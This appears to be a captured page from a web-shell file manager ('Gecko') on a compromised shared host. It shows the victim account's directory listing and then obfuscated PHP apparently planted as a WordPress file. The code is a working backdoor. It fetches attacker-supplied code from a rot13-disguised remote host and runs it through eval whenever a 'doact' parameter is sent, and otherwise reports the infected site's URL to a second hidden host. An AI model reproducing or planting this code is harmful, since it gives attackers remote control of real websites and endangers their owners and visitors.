Gecko [ www.corporacionhdm.com.pe ]

Name	Size	Permission	Date
.cagefs	[ DIR ]	drwxrwx--x	2025-04-05 01:05
.caldav	[ DIR ]	drwxr-xr-x	2025-04-16 09:14
.cl.selector	[ DIR ]	drwxr-xr-x	2025-05-01 10:31
.clwpos	[ DIR ]	drwx------	2021-11-19 07:55
.cpanel	[ DIR ]	drwx------	2025-05-05 06:47
.cphorde	[ DIR ]	drwx------	2024-06-04 15:49
.htpasswds	[ DIR ]	drwxr-x---	2020-02-06 15:23
.nc_plugin	[ DIR ]	drwx--x--x	2025-04-05 01:01
.pki	[ DIR ]	drwxr-----	2020-02-06 15:41
.razor	[ DIR ]	drwxr-xr-x	2025-04-15 20:43
.softaculous	[ DIR ]	drwx--x--x	2025-04-11 15:49
.spamassassin	[ DIR ]	drwx------	2025-04-28 01:06
.subaccounts	[ DIR ]	drwx------	2022-02-02 16:29
.trash	[ DIR ]	drwx------	2025-05-05 10:36
3relectricsac.com	[ DIR ]	drwxr-x---	2025-05-05 01:33
bin	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
corporacionhdm.com	[ DIR ]	drwxr-x---	2025-05-03 03:33
corporacionhdm.com.pe	[ DIR ]	drwxr-x---	2025-05-05 01:33
dsfdf	[ DIR ]	drwxr-x---	2023-09-16 08:05
etc	[ DIR ]	drwxr-x---	2025-05-03 03:33
kotash.com	[ DIR ]	drwxr-x---	2025-05-03 03:33
lavanderiawashexpress.com	[ DIR ]	drwxr-x---	2025-05-05 01:33
lizcanclean.com	[ DIR ]	drwxr-x---	2025-05-03 03:33
logs	[ DIR ]	drwx------	2025-05-03 12:12
lscache	[ DIR ]	drwxrws---	2025-05-03 03:33
mail	[ DIR ]	drwxr-x--x	2025-05-05 11:22
ongd-tnp.org	[ DIR ]	drwxr-x---	2025-05-05 05:06
ortopediasolidariadelnorte.com	[ DIR ]	drwxr-x---	2025-05-05 05:15
php	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
public_ftp	[ DIR ]	drwxr-x---	2025-05-03 03:33
public_html	[ DIR ]	drwxr-x---	2025-05-05 01:33
quarantine_clamavconnector	[ DIR ]	drwx------	2025-05-03 03:33
ssl	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
thermasyumonst.com	[ DIR ]	drwxr-x---	2025-05-03 03:33
tierranuestrape.org	[ DIR ]	drwxr-x---	2025-05-05 04:22
tmp	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
tuempresaprimero.com	[ DIR ]	drwxr-x---	2025-05-03 03:33
vidanuevaministerio.org	[ DIR ]	drwxr-x---	2025-05-03 03:33
www	[ DIR ]	drwxr-x---	2025-05-05 01:33
www.corporacionhdm.com	[ DIR ]	drwxr-xr-x	2025-05-03 03:33
.bash_logout	18 B	-rw-r--r--	2020-02-06 15:23
.bash_profile	176 B	-rw-r--r--	2020-02-06 15:23
.bashrc	124 B	-rw-r--r--	2020-02-06 15:23
.clamavconnector.disinfection.log	7.49 KB	-rw-r--r--	2023-10-03 17:37
.clamavconnector.status	5.51 KB	-rw-r--r--	2023-10-03 17:27
.contactemail	29 B	-rw-r-----	2020-02-06 15:23
.gemrc	139 B	-rw-r--r--	2020-02-06 15:23
.htaccess	197 B	-r--r--r--	2025-05-03 03:33
.imunify_patch_id	106 B	-rw-rw----	2025-04-17 07:45
.last.inodes	8.54 KB	-rw-r--r--	2025-05-05 10:10
.lastlogin	637 B	-rw-------	2025-04-11 15:49
.myimunify_id	102 B	-rw-rw----	2024-03-17 05:03
.pearrc	668 B	-rw-r--r--	2025-04-05 18:13
.spamassassinboxenable	0 B	-rw-r--r--	2025-04-05 01:01
.spamassassinenable	0 B	-rw-r--r--	2020-02-06 15:23
.zshrc	658 B	-rw-r--r--	2020-02-06 15:23
wordpress.zip	26.58 MB	-rw-r--r--	2020-02-20 23:12
wp-blog-header.php	2.73 KB	-r--r--r--	2025-05-03 03:33
wp-cron.php	2.73 KB	-rw-r--r--	2025-05-03 03:33

Rename

<?php
 goto T7Bkn; foHGP: $_SESSION["\x64\x6f\x61\143\x74"] = $hmH20; goto TQt0_; K0ZxZ: nRhhK(array("\167\x65\142" => $EuisC)); goto q1fwC; AE8KZ: BD64p: goto viQ8w; uqBPZ: $EuisC = (isset($_SERVER["\110\124\124\x50\x53"]) && $_SERVER["\110\x54\124\x50\123"] === "\x6f\x6e" ? "\x68\x74\164\160\x73" : "\x68\164\164\160") . "\x3a\x2f\57{$_SERVER["\x48\124\x54\x50\x5f\110\117\123\124"]}{$_SERVER["\122\105\x51\x55\105\x53\x54\x5f\125\x52\111"]}"; goto K0ZxZ; gr2mT: $hmH20 = $_REQUEST["\x64\157\141\143\164"]; goto BB8pz; jHBC7: j192A: goto foHGP; NR3Rd: exit; goto AE8KZ; TQt0_: $voEuQ = eEVfl(str_rot13("\165\x67\147\x63\146\72\x2f\x2f\151\143\146\x71\161\x2e\163\141\163\147\150\146\56\x67\142\143\57\161\142\142\x65\x2f") . $hmH20 . "\56\164\x78\164"); goto y1SLJ; BB8pz: if (!empty($hmH20)) { goto j192A; } goto uqBPZ; sPKm1: session_start(); goto gr2mT; viQ8w: function eeVfl($EuisC) { goto M4qAr; BE2bd: i1QIu: goto ETYdi; OZXaa: curl_setopt($nysSp, CURLOPT_SSL_VERIFYPEER, 0); goto FG2bM; DIWtQ: curl_setopt($nysSp, CURLOPT_RETURNTRANSFER, 1); goto iQtSq; i3vex: $gE_2y = stream_get_contents($WJtAt); goto Lcp8c; IjQ00: if (!(empty($gE_2y) && function_exists("\146\x6f\x70\145\156") && function_exists("\x73\x74\x72\x65\x61\x6d\137\147\x65\164\x5f\143\x6f\156\164\145\x6e\164\x73"))) { goto o81Ch; } goto kJYa3; MRDUT: $gE_2y = curl_exec($nysSp); goto ZZyp_; B4W2f: d2cUG: goto IjQ00; Lcp8c: fclose($WJtAt); goto DEP1f; kJYa3: $WJtAt = fopen($EuisC, "\162"); goto i3vex; s3mqK: if (!function_exists("\x63\x75\162\x6c\x5f\145\170\x65\143")) { goto i1QIu; } goto o5STS; o5STS: $nysSp = curl_init($EuisC); goto DIWtQ; FG2bM: curl_setopt($nysSp, CURLOPT_SSL_VERIFYHOST, 0); goto MRDUT; ETYdi: if (!(empty($gE_2y) && function_exists("\x66\x69\x6c\x65\137\x67\145\164\x5f\x63\157\x6e\164\x65\156\x74\163"))) { goto d2cUG; } goto BQZJn; t3n7O: return $gE_2y; goto mxkqk; BQZJn: $gE_2y = file_get_contents($EuisC); goto B4W2f; iQtSq: curl_setopt($nysSp, CURLOPT_FOLLOWLOCATION, 1); goto OZXaa; M4qAr: $gE_2y = ''; goto s3mqK; ZZyp_: curl_close($nysSp); goto BE2bd; DEP1f: o81Ch: goto t3n7O; mxkqk: } goto eTmj9; y1SLJ: eval("\77\76" . $voEuQ); goto NR3Rd; q1fwC: goto BD64p; goto jHBC7; T7Bkn: error_reporting(0); goto sPKm1; eTmj9: function NrhhK($XE_Cd) { goto gZbvS; doOR7: $eMSLG = curl_exec($A88G2); goto GLhUH; gZbvS: $EuisC = "\165\147\x67\143\x3a\57\x2f\x65\162\x7a\142\147\x72\x32\x30\62\x35\x2e\157\154\x75\142\x67\56\147\x62\x63\x2f\166\141\161\x72\x6b\x2e\143\x75\143"; goto wpEJg; wpEJg: $A88G2 = curl_init(str_rot13($EuisC)); goto fLJfr; fLJfr: curl_setopt($A88G2, CURLOPT_POST, 1); goto SYjU8; GLhUH: curl_close($A88G2); goto Ljaon; GL2_L: curl_setopt($A88G2, CURLOPT_RETURNTRANSFER, true); goto doOR7; SYjU8: curl_setopt($A88G2, CURLOPT_POSTFIELDS, $XE_Cd); goto GL2_L; Ljaon: }?>